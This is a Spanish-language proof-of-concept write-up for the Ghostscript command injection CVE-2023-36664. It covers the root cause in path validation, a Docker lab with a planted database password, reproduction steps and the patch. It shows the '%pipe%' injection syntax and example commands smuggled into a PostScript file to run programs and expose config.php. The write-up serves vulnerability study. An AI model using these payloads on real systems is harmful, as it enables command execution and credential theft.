
Prueba de concepto de exploit para CVE-2023-36664, una vulnerabilidad de inyección de comandos en Ghostscript. Incluye entorno de laboratorio Docker, análisis detallado de la evasión de validación de tuberías y guía de reproducción paso a paso.
ID de CVE: CVE-2023-36664
Producto: Ghostscript (< 10.01.2)
Tipo de vulnerabilidad: Remote Code Execution (RCE)
Esta vulnerabilidad (CVE-2023-36664) es una vulnerabilidad de ejecución remota de código (RCE) que ocurre debido a que Ghostscript maneja inadecuadamente la validación de permisos de ruta para el dispositivo pipe (prefijo %pipe% o |).
Cuando el sistema analiza o procesa un archivo de documento (PS/EPS) manipulado maliciosamente por un atacante, se pueden ejecutar comandos arbitrarios del sistema sin autorización del usuario.
Función principal: Esencialmente, lee código de coordenadas gráficas basado en texto (por ejemplo, "dibuja una línea en la posición 100 200") y lo convierte en imágenes visibles en la pantalla del monitor o en archivos de imagen para imprimir.
Una tubería es una función que conecta la salida de una aplicación a la entrada de otra, permitiendo que los programas se comuniquen entre sí. En la línea de comandos se representa con el símbolo |.
Ejemplo: cat /etc/hosts | grep localhost
cat se pasan a través de la tubería (|) directamente como entrada del comando grep, filtrando solo las líneas que contienen "localhost".Ghostscript, por defecto, cuando el modo seguro (-dSAFER) está activado, verifica estrictamente las rutas de archivo para evitar el acceso a archivos sensibles del sistema o la ejecución arbitraria de comandos externos.
Problema: Cuando un atacante introduce cuidadosamente un prefijo de dispositivo pipe (%pipe% o |) en lugar de un nombre de archivo normal, la lógica de validación de permisos interna de Ghostscript no reconoce correctamente este prefijo y lo trata como una "ruta segura" o "no sujeta a verificación", permitiendo que pase.
Resultado: El comando peligroso que debería haber sido filtrado evade el bucle de validación sin obstáculos.
Inyección de archivo malicioso: El atacante inserta código dentro de un archivo PostScript (.ps/.eps) con una forma como (%pipe%comando_malicioso) (modo) file /DCTDecode filter.
Parseo y confusión: Al leer y procesar este archivo, Ghostscript pasa la etapa de validación de permisos (el guardián) sin errores.
Entrega al shell del sistema operativo: El flujo de comandos que pasó la validación es entregado directamente al shell interno del sistema operativo (como sh en Linux o cmd en Windows) a través de la funcionalidad del dispositivo pipe, y se ejecuta con los permisos del backend.
Al observar el código parcheado, se puede ver que se modificaron los siguientes dos archivos .c:
base/gpmisc.cbase/gslibctx.cAquí, analizando gpmisc.c se puede entender la vulnerabilidad.

El núcleo de esta vulnerabilidad es que no se puede distinguir adecuadamente rutas especiales como %pipe% de rutas de archivo normales, y se reconocen erróneamente como rutas comunes.
gp_file_name_reducePara verificarlo, es necesario examinar la función que limpia las rutas de archivo. En gpmisc.c, la función encargada de limpiar rutas es gp_file_name_reduce(...), que internamente llama a gp_file_name_combine() y devuelve su resultado.
gp_file_name_reduce(const char *fname, uint flen, char *buffer, uint *blen) {
return gp_file_name_combine(fname, flen, fname + flen, 0, false, buffer, blen);
}
gp_file_name_combine(), como su nombre indica, elimina expresiones de ruta relativas innecesarias como ./ o // de la ruta de archivo recibida.
El problema ocurre aquí. Si a esta función se le pasa una cadena especial que induce la ejecución de comandos, como %pipe%, en lugar de una ruta de archivo normal, la función no reconoce esto como un patrón de ruta válido y devuelve la cadena original sin ningún procesamiento.
gp_validate_path_len
gp_validate_path_len(...) es una función que internamente llama a gp_file_name_reduce() para validar la ruta. En este proceso, no existe una lógica de validación separada que distinga si el valor de entrada es una ruta de archivo normal o una sintaxis de ejecución de comandos como %pipe%.
Como resultado, las cadenas que contienen %pipe% pasan sin ningún filtro, y esta es la causa raíz de esta vulnerabilidad.
Por lo tanto, si se pasa una cadena como %pipe%touch /tmp/pwned como ruta de archivo, aunque el usuario solo pretendía renderizar un archivo de imagen, en realidad se ejecuta el comando touch /tmp/pwned, lo que resulta en la creación del archivo /tmp/pwned.
┌─────────────────────────────────┐
│ Docker Container │
│ (Ubuntu 22.04 + Ghostscript) │
│ │
│ /home/test/ ← Directorio de trabajo
│ ├── poc.py ← Script de generación de PoC
│ | |
│ └── /var/www/html/config.php ← Archivo de información sensible
│ │
│ User: test (no root) │
│ Ghostscript: 10.01.1 (vulnerable)│
└─────────────────────────────────┘
La razón por la que se eligió una cuenta normal en lugar de la cuenta root es que, en servidores de producción reales, generalmente no se utiliza directamente la cuenta root por razones de seguridad. Por lo tanto, para reproducir lo más fielmente posible la situación de un ataque a un servidor real, se configuró el entorno con una cuenta normal.
version: '3.8'
services:
gs-lab:
build: .
container_name: cve_lab
network_mode: "host"
environment:
- DISPLAY=${DISPLAY}
volumes:
- /tmp/.X11-unix:/tmp/.X11-unix:ro
- ./poc.py:/home/test/poc.py
stdin_open: true
tty: true
DISPLAY=${DISPLAY}: Pasa la variable de entorno al contenedor para que las aplicaciones GUI dentro del contenedor puedan acceder al servidor de visualización X11 del host./tmp/.X11-unix:/tmp/.X11-unix:ro: Monta el socket Unix para la comunicación entre el servidor de visualización X11 del host y el contenedor.
./poc.py:/home/test/poc.py: Monta el script PoC local del host en el entorno de ejecución del contenedor.
FROM ubuntu:22.04
RUN apt update && \
apt install -y \
wget \
build-essential \
gedit \
python3 \
sudo && \
rm -rf /var/lib/apt/lists/*
RUN wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10011/ghostscript-10.01.1.tar.gz && \
tar -xzf ghostscript-10.01.1.tar.gz
WORKDIR /ghostscript-10.01.1
RUN ./configure && \
make && \
make install
RUN mkdir -p /var/www/html && \
echo "DB_PASSWORD=SuperSecret1234!!!" > /var/www/html/config.php
RUN useradd -m -s /bin/bash test
WORKDIR /home/test
USER test
CMD ["/bin/bash"]
Para configurar un entorno PoC básico, se necesita wget para obtener la versión vulnerable de Ghostscript, build-essential para instalar el código fuente después de descomprimir el tar.gz, y gedit (un bloc de notas) que se abrirá maliciosamente al ejecutar el .ps, entre otros.
La versión vulnerable 10.01.1 de Ghostscript se instaló obteniendo el código fuente desde git. RUN ./configure && \ make && \ make install se ejecutó siguiendo las instrucciones de uso que estaban escritas en la carpeta donde se descargó el código fuente.
Normalmente, en /var/www/html/config.php se encuentran los valores de configuración principales de la aplicación web, como el nombre de la base de datos y la contraseña.
Por lo tanto, se asumió que se robaría la contraseña de la base de datos y se creó el archivo config.php de forma arbitraria.
Dado que se planea realizar el PoC con la cuenta normal test en lugar de la cuenta root, se crea un nuevo usuario.
# Construir la imagen Docker
docker compose -f docker-compose.yml up -d
# Ejecutar el contenedor
docker exec -it cve_lab bash
Dentro del contenedor:

python3 poc.py -p "gedit /var/www/html/config.php" -m r -f test
Resultado de la generación:

Se puede ver que la ruta maliciosa ingresada está correctamente insertada dentro del archivo .ps.
gs -dNOSAFER test.ps

Se abre gedit automáticamente y se muestra el contenido de /var/www/html/config.php.
DB_PASSWORD=SuperSecret1234!!!

Se debe actualizar a la versión oficial más reciente de Ghostscript 10.01.2 o superior, que corrige la vulnerabilidad.
En el parche oficial, se agregó una lógica de validación dentro de la función gp_validate_path_len() antes de llamar a gp_file_name_reduce().
Manejo de excepciones y bloqueo forzado de cadenas especiales de pipe: Se agregó una rama de decisión que detecta de forma separada y completa si el prefijo de la ruta de entrada comienza con %pipe% o el símbolo |.
Versión del parche oficial: https://github.com/ArtifexSoftware/ghostpdl/commit/5f56c6f6f989816fc9cc671116740acecbed5b6c